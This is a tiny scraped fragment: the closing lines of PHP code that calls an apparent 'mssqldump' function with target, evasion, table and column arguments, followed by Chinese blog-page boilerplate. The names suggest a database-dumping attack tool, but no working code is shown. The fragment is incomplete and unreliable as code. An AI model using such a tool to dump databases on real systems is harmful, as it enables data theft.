mssqldump($mssql_dump_target,$evasion,$sql_dump_table,$sql_dump_column);
}
}
扫一扫
6546
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
